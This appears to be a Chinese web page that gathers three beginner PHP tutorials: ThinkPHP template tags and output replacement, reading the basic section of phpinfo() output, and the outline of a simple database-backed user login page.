输出替换

1、配置,在应用或模块配置目录下的template.php文件中进行如下代码配置:

'tpl_replace_string'=>['__STATIC__'=>'/static','__JS__'=>'/static/javascript',]

2、总结,优点:方便更改;但是不建议使用,建议在开发过程中设置好目录位置。

标签库

标签库类似于Java的Struts中的JSP标签库,每一个标签库是一个独立的标签库文件,标签库中的每一个标签完成某个功能,采用XML标签方式(包括开放标签和闭合标签)。具体内容请参考官方文档。

内置标签

1、普通循环标签,使用示例:

{volist name="list" id="vo" key="k"}{$k}.{$vo.name}{/volist}

如果没有指定key属性的话,默认使用循环变量i

2、控制输出行数,如输出其中的第5~15条记录,使用示例:

{volist name="list" id="vo" offset="5" length='10'}{$vo.name}{/volist}

3、比较标签(不常用)

4、SWITCH标签(不常用),使用示例:

{switch User.level} {case 1}value1{/case} {case 2}value2{/case} {default /}default {/switch}

5、资源文件加载(常用),使用实例:

{load href="/static/js/common.js,/static/css/style.css"/}

互联网

标签扩展

此扩展在开发过程中并不常用,使用起来较为麻烦。

展开
收起

PHP实战技巧(15)通过phpinfo()了解你的PHP配置状况(一)

前言

工欲善其事,必先利其器。当你使用PHP编程,就需要对它的运行状况有所了解,否则事倍功半。

从今天起,和大家聊一聊 phpinfo() 函数所展示的信息含义。

phpinfo() 有什么用

它是一个系统函数,你可以直接编写代码 <?php phpinfo();?>,然后通过网页访问它,就能看到一个类似于这样的网页。

该网页包含了当前PHP的各种配置信息、扩展模块的信息等。以前有一种软件叫“探针”,专门用来探测服务器当前的PHP相关信息,现在随着虚拟主机的没落,已经越来越少人用啦。

如何阅读 phpinfo 的信息?

整个网页内容非常多,但主要分为四个部分

基本信息,也就是最顶部的内容。配置信息(Configuration)各种模块的信息PHP Credits,荣誉名单,记录对PHP语言有帮助的人PHP License 版权许可说明

基本配置

本文和大家说说基本信息中,各项内容的含义。(以我当前使用的PHP版本为例)

PHP 版本

最顶端:PHP Version 7.2.3,就是我们当前PHP的版本。

System

Darwin mac.local 17.5.0 Darwin Kernel Version 17.5.0: Fri Apr 13 19:32:32 PDT 2018; root:xnu-4570.51.2~1/RELEASE_X86_64 x86_64

运行此PHP的操作系统信息(我是mac机)

Build Date

Mar 19 2018 11:50:19

编译时间

Configure Command

'./configure' '--prefix=/usr/local/opt/php723' '--exec-prefix=/usr/local/opt/php723/' '--enable-debug' '--enable-fpm' '--with-iconv=/usr/' '--with-config-file-path=/usr/local/etc/php723' '--with-openssl=/usr/local/opt/openssl' '--enable-bcmath' '--with-curl' '--enable-exif' '--with-gd' '--with-mysqli' '--with-pdo-mysql' '--enable-zip' '--with-libzip' '--enable-mysqlnd' '--enable-sockets' '--enable-mbstring' '--enable-soap' '--with-freetype-dir=/usr/local/opt/freetype' '--with-xmlrpc' '--with-jpeg-dir=/usr/local/opt/jpeg' '--with-png-dir=/usr/local/opt/libpng' '--with-libxml-dir=/usr/local/opt/libxml2' '--without-gmp'

编译时,使用的各项配置信息。

Server API

FPM/FastCGI

当前采用的服务模式为 FCGI(快速通用网关接口协议),实现该协议的服务为 FPM(也就是PHP-FPM),与 NGINX 搭配的时候,基本都是通过它来进行通讯的,以后有机会和大家细聊。

Virtual Directory Support

disabled

虚拟目录支持,目前是禁用状态(disabled)也就是不支持。

Configuration File (php.ini) Path

/usr/local/etc/php723

PHP.ini 的所在目录。

Loaded Configuration File

/usr/local/etc/php723/php.ini

php.ini 所在的完整文件路径。

Scan this dir for additional .ini files

(none)

Additional .ini files parsed

(none)

PHP API

20170718

PHP核心版本,一般大版本变更时,此日期会随之变化(应该是核心版本的发布或编译日期)

其他

剩下的就不一一说明了,需要额外提醒的是,此处出现的 zend 是PHP解释器名字,你也可以认为它就是PHP核心,除此之外还有 zend框架、zend代码混淆、zend代码编辑器,注意不要把自己弄混了。

总结

今天先和大家介绍下基本信息,其中像PHP版本、configure的编译配置、php.ini的路径、php api 的版本等几项,是我们日常开发中需要用到的。其余的,大家有兴趣可以自己行了解。

明天开始,介绍第二部分:各种扩展库。

展开
收起

php实战案例制作一个用户登录功能

今天介绍一下网站里面常见的用户登录功能的实现

用户登录

我们先想一想实现思路,先帮常用的代码放在一个include文件,里面放一些链接数据库,常用函数等公用文件。然后常用的用户信息修改。我们看看需要哪些页面

代码文件

公用的头部文件和公用的底部文件单独放在一个页面,方便后期维护。然后就是登陆,注册,逻辑处理。

代码是最基础的实现原理。在原理掌握的基础长就可以进行深化,封装成class文件,简化代码和文件,我们先从最基础的实现原理来看看怎么实现。

登陆的界面

首先是基本的登陆页面。不含css,后期可以把页面美化一下。

然后看看数据提交到了loginCheck.php页面进行哪些逻辑处理

php逻辑代码处理

我们分析代码 显示引用配置文件,我们看看配置文件,也就是最基本的数据库信息,定义一个数组

数据库配置

然后在看看mysql.fun.php通过文件名称我们可以知道这是一个操作数据库的代码,我们把一些常用的数据库操作方在这个里面。然后在去调用。

数据库链接操作

注意@的用途,感兴趣的朋友去删除这个看看效果。

接着分析代码就是接受用户名和密码,执行查找数据库操作,存在这个记录就跳转到main.php页面,不存在就跳转到login.php页面。这样也就类似实现一个后台登陆管理功能的实现。登陆成功进入后台,登陆失败禁止登陆。原理是不是很简单。有兴趣的朋友快去制作一个登陆功能吧。

登陆后台模板

小编收集了一下后台界面模板和登陆界面模板,想加强这方面的也去试试吧。

网站后台管理界面

这样就实现了一个最基本的后台管理功能。

展开
收起